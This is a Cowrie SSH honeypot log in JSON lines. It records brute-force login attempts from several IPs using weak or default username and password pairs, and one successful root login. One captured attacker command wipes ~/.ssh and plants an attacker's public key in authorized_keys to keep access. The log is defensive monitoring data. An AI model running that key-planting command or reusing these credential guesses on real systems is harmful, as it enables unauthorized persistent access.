{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:51.765616Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:52.234775Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:52.238001Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:52.458428Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:52.462088Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":37414,"dst_ip":"159.203.135.109","dst_port":22,"session":"33ebca13553c","protocol":"ssh","message":"New connection: 165.154.6.49:37414 (159.203.135.109:22) [session: 33ebca13553c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:52.669539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:52.674482Z","src_ip":"165.154.6.49","session":"33ebca13553c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:52.891734Z","src_ip":"165.154.6.49","session":"33ebca13553c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:53.789666Z","src_ip":"165.154.6.49","session":"33ebca13553c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:55.029424Z","src_ip":"165.154.6.49","session":"33ebca13553c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":37420,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9cc15a4aa35","protocol":"ssh","message":"New connection: 165.154.6.49:37420 (159.203.135.109:22) [session: f9cc15a4aa35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:55.335865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:55.339993Z","src_ip":"165.154.6.49","session":"f9cc15a4aa35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:55.582428Z","src_ip":"165.154.6.49","session":"f9cc15a4aa35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:56.491681Z","src_ip":"165.154.6.49","session":"f9cc15a4aa35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:56.711355Z","src_ip":"165.154.6.49","session":"9f0891bb1323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:44:56.717588Z","src_ip":"165.154.6.49","session":"f9cc15a4aa35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51980,"dst_ip":"159.203.135.109","dst_port":22,"session":"17d92f1f73ff","protocol":"ssh","message":"New connection: 195.178.110.218:51980 (159.203.135.109:22) [session: 17d92f1f73ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:30.132077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:30.138938Z","src_ip":"195.178.110.218","session":"17d92f1f73ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:30.219616Z","src_ip":"195.178.110.218","session":"17d92f1f73ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:30.461966Z","src_ip":"195.178.110.218","session":"17d92f1f73ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:31.543963Z","src_ip":"195.178.110.218","session":"17d92f1f73ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":52220,"dst_ip":"159.203.135.109","dst_port":22,"session":"6536b335113e","protocol":"ssh","message":"New connection: 2.57.122.96:52220 (159.203.135.109:22) [session: 6536b335113e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:31.635671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:31.676478Z","src_ip":"2.57.122.96","session":"6536b335113e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:31.751475Z","src_ip":"2.57.122.96","session":"6536b335113e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:32.173519Z","src_ip":"2.57.122.96","session":"6536b335113e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:33.328446Z","src_ip":"2.57.122.96","session":"6536b335113e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":47372,"dst_ip":"159.203.135.109","dst_port":22,"session":"0409e08aedd3","protocol":"ssh","message":"New connection: 165.154.6.49:47372 (159.203.135.109:22) [session: 0409e08aedd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:37.647316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:37.651724Z","src_ip":"165.154.6.49","session":"0409e08aedd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:37.873838Z","src_ip":"165.154.6.49","session":"0409e08aedd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic123","message":"login attempt [elastic/elastic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:38.793765Z","src_ip":"165.154.6.49","session":"0409e08aedd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:40.018571Z","src_ip":"165.154.6.49","session":"0409e08aedd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":41604,"dst_ip":"159.203.135.109","dst_port":22,"session":"960f4b7cb6d6","protocol":"ssh","message":"New connection: 187.210.77.100:41604 (159.203.135.109:22) [session: 960f4b7cb6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:44.338001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:44.342664Z","src_ip":"187.210.77.100","session":"960f4b7cb6d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:44.526683Z","src_ip":"187.210.77.100","session":"960f4b7cb6d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arun","password":"Arun123!","message":"login attempt [arun/Arun123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:45.298831Z","src_ip":"187.210.77.100","session":"960f4b7cb6d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:46:46.488818Z","src_ip":"187.210.77.100","session":"960f4b7cb6d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":33498,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba9d50ba60f2","protocol":"ssh","message":"New connection: 187.210.77.100:33498 (159.203.135.109:22) [session: ba9d50ba60f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:47:50.903160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:47:50.907638Z","src_ip":"187.210.77.100","session":"ba9d50ba60f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:47:51.094290Z","src_ip":"187.210.77.100","session":"ba9d50ba60f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"12345","message":"login attempt [client/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:47:51.874554Z","src_ip":"187.210.77.100","session":"ba9d50ba60f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:47:53.063517Z","src_ip":"187.210.77.100","session":"ba9d50ba60f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":51780,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c0eaa849473","protocol":"ssh","message":"New connection: 165.154.6.49:51780 (159.203.135.109:22) [session: 3c0eaa849473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:48:31.051541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:48:31.054785Z","src_ip":"165.154.6.49","session":"3c0eaa849473","protocol":"ssh"}
